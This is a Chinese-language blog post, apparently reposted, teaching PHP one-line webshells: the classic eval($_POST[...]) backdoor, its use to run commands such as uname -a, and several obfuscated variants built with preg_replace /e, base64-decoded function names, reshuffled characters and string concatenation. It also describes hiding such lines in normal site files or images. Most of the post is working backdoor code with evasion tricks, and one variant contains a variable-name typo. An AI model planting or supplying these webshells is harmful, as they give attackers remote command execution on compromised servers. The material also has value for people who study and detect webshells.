一句话木马简介

一句话木马的原理即可以执行传递上来变量的内容,变量名称即“一句话密码”,变量内容即后门执行代码,内容可以是list文件、上传及下载文件、数据库操作等等。
这类后门通常只一行代码,因此可以随意插入web站点的正常文件而并不影响原本代码的执行,甚至与正常图片的结合可以形成“图片马”。
体积小,隐蔽性强是一句话木马最大的优势。灵活的变量内容同时成就了很多经典的一句话操作客户端,如菜刀。
php木马剖析
我们来对下面这样的一个一句话进行简单剖析:
  <?php eval($_POST['bckdor']);?>
这是php的一句话后门中最普遍的一种。它的工作原理是这样的:
  首先存在一个变量,变量名为bckdor,bckdor的取值为HTTP的POST方式。Web服务器对bckdor取值以后,然后通过eval()函数执行bckdor里面的内容。
 
php 木马使用
做一个一句话木马:p.php
 
直接上burp,试一个最简单的命令
可以看到,uname -a,正常运行,且将结果返回回来。
 
 
一句话的无数变种
下面是一些发散思维。
 
1,可以利用preg_replace,当有e修饰符时,可以直接运行替换的字符串。例子如下:
  <?php
    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode']&&preg_replace('\'a\'ei', 'e'.'v'.'a'.'l'.'($_SESSION[\'theCode\'])', 'a');
  ?>
不过可以看到,连php官方都意识到了这里存在的漏洞,所以在7.0版本,明确不再支持/e修饰符,不过 <7.0 还是存在这个问题的
 
2,利用编码,甚至迭代编码
<?php $f = base64_decode($_GET['g']); $f($_POST['c']); ?>
 
3,利用字符的各种颠倒
  <?php
    $str = 'aerst';
    $funct = $str{0}.$str{3}.$str{3}.$str{1}.$str{2}.$str{4};
    @$func($_POST['c']);
  ?>
 
4,字符拼接,编码拼接等等
<?php $c=$_GET[n].'t';@$c($_POST[cmd]);?>

<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';@$c($_POST[cmd]);?>

 
有兴趣的还可以再进一步研究,下次分析客户端

猜你喜欢

转载自www.cnblogs.com/satuer/p/9349642.html